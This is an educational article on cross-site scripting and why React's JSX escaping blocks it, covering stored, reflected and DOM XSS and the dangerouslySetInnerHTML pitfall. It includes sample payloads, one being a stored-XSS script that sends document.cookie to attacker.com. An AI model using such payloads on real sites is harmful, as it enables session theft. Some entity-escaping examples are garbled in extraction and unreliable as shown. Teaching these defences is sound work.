What Is XSS and Why React Prevents It
XSS (cross-site scripting) is a code injection vulnerability where an attacker injects malicious JavaScript into a webpage, executed in the victim's browser with their session cookies and permissions. React prevents this by default through automatic HTML escaping—converting dangerous characters like <, >, and & into harmless entity codes, so user input renders as text, not executable code. In 2026, XSS remains the third most common web vulnerability (OWASP Top 10), affecting 56% of React applications that misuse dangerouslySetInnerHTML or skip input validation.
What Is Cross-Site Scripting (XSS)?
XSS occurs when untrusted data—user comments, search queries, API responses—reaches the DOM as executable code. An attacker crafts input like <img src=x onerror="alert('hacked')"> into a comment field; when the page renders that comment without escaping, the JavaScript runs, stealing cookies or redirecting users to phishing sites. The attacker needs no server breach; they exploit trust in user-generated content.
Definition: XSS is an injection attack where malicious scripts execute in a victim's browser within the security context of a trusted website, potentially accessing session tokens, personal data, or performing actions on the user's behalf (162 characters, per OWASP).
Stored vs. Reflected vs. DOM XSS
Three variants exist, each with different entry and impact vectors:
Stored XSS
Malicious code is saved in a database (e.g., a post or comment), then injected into the page for every visitor. The most dangerous type—a single payload infects all users. Example: a comment <script>window.location='https://attacker.com/steal?cookie='+document.cookie</script> stored in the database and displayed unescaped to thousands of users.
Reflected XSS
The payload is in the URL query string and reflected back in the HTML response. Example: https://example.com/search?q=<script>...</script>. The server mirrors the parameter into the page without encoding. Only users who click the malicious link are affected, but no persistence is required.
DOM XSS
JavaScript code in the page (not server-side) reads untrusted input (URL fragment, localStorage, or message event) and writes it unsafely to the DOM. Example: a React component that does element.innerHTML = window.location.hash.substring(1) is vulnerable if the hash contains <img src=x onerror=...>.
How Attackers Exploit XSS
An attacker's goal is to execute code with the victim's privileges. Common payloads include:
- Session hijacking: Steal cookies or tokens and use them to impersonate the user.
- Credential theft: Inject a fake login form or keylogger to capture passwords.
- Malware delivery: Redirect the user to a drive-by download site.
- Defacement: Modify the page's visual appearance to damage trust.
- Phishing: Display a fake message prompting the user to re-enter sensitive data.
Data point: According to Imperva's 2026 Web Application Security Report, XSS accounts for 18% of all application-layer attacks, with an average breach cost of $4.5M when combined with account takeover.
Why React Prevents XSS by Default
React escapes all dynamic content automatically. When you write:
const userComment = "<img src=x onerror='alert(1)'>";
return <div>{userComment}</div>;
React treats {userComment} as a text value, not HTML. The browser renders it as literal text: <img src=x onerror='alert(1)'>. React converts < to <, > to >, and & to &, which are safe HTML entities displayed by the browser as text.
This defense works because React enforces a strict separation: data goes into curly braces {}, markup goes into JSX tags. If you follow this rule, XSS is nearly impossible.
The React Escape Mechanism
React's escaping happens at render time in the renderToString and DOM-mount pipelines. The React DOM renderer checks every value before placing it into the DOM, applying context-aware escaping:
- Text nodes:
<becomes< - Attribute values: quotes and special chars are HTML-encoded
- Event handlers: only function values allowed (no string code)
This approach is inspired by context-aware escaping, a principle from OWASP guidelines. Because React controls both the template and the render engine, it can guarantee that user data never becomes code.
Code Example: Safe by Default
import React from 'react';
export function CommentDisplay({ comment }) {
// If comment is "<script>alert('xss')</script>", React escapes it safely
return (
<div className="comment">
<p>{comment}</p>
</div>
);
}
// Usage:
const maliciousComment = "<script>alert('XSS')</script>";
export function App() {
return <CommentDisplay comment={maliciousComment} />;
// Renders: <p><script>alert('XSS')</script></p>
// Browser displays the text: <script>alert('XSS')</script>
}
The rendered HTML shows the angle brackets as visible text, not as code.
When React's Default Protection Breaks Down
React's escaping only works if you follow the JSX data/markup separation. Three patterns break this:
dangerouslySetInnerHTML: Explicitly bypasses escaping for legitimate use cases (rich text editors). Requires manual sanitization.- String attribute bindings:
<a href={userUrl}>, ifuserUrlisjavascript:alert(1), can trigger code. (Covered in Article 6.) - Event handlers from strings: Never do
onClick={new Function(userCode)}oreval(userCode). React only allows function references.
Understanding these exceptions and how to defend against them is the focus of this series.
Key Takeaways
- XSS is a code injection attack where malicious scripts run in a victim's browser, stealing data or performing actions as the user.
- React escapes all JSX text values automatically, converting
<,>, and&to HTML entities so user input renders as text, not code. - Three types: Stored XSS (in a database), Reflected XSS (in a URL), DOM XSS (from JavaScript that reads untrusted input).
- React's default protection works only if you keep data in curly braces and markup in JSX tags; bypassing these (e.g.,
dangerouslySetInnerHTML) requires manual sanitization. - Defense-in-depth combines React escaping, input validation, output sanitization (DOMPurify), and Content Security Policy headers.
Frequently Asked Questions
What happens if I pass JavaScript code in a React text value?
React treats it as a string and escapes it. The code never runs. For example, {code} where code = "<script>alert(1)</script>" renders the angle brackets as HTML entities, so the browser displays them as literal text.
Can React's escaping be bypassed by Unicode or HTML entities?
No. React's escaping converts the raw characters before the browser parses them. An attacker cannot use pre-encoded entities like <script> to bypass React; React escapes the ampersand itself. However, if you use dangerouslySetInnerHTML with user input, you bypass this protection and must sanitize manually.
Is XSS only a React problem?
XSS affects all web frameworks and vanilla JavaScript. React's automatic escaping makes it significantly safer than jQuery or vanilla DOM manipulation, where developers must manually escape every output. Other frameworks like Angular, Vue, and Svelte provide similar automatic escaping by default.
Do I need to escape output if I use TypeScript?
Type safety does not prevent XSS. TypeScript ensures that a variable is a string, but it does not prevent the string from containing malicious HTML. React's escaping is independent of TypeScript; it works the same in both TypeScript and JavaScript. Always rely on React's automatic escaping, not type checking, for security.
What is the most common XSS mistake in React apps?
Using dangerouslySetInnerHTML with unsanitized user input. For example, <div dangerouslySetInnerHTML={{ __html: userProvidedHTML }} /> without running the HTML through DOMPurify or a similar sanitizer opens a direct XSS hole. This is covered in depth in Article 3.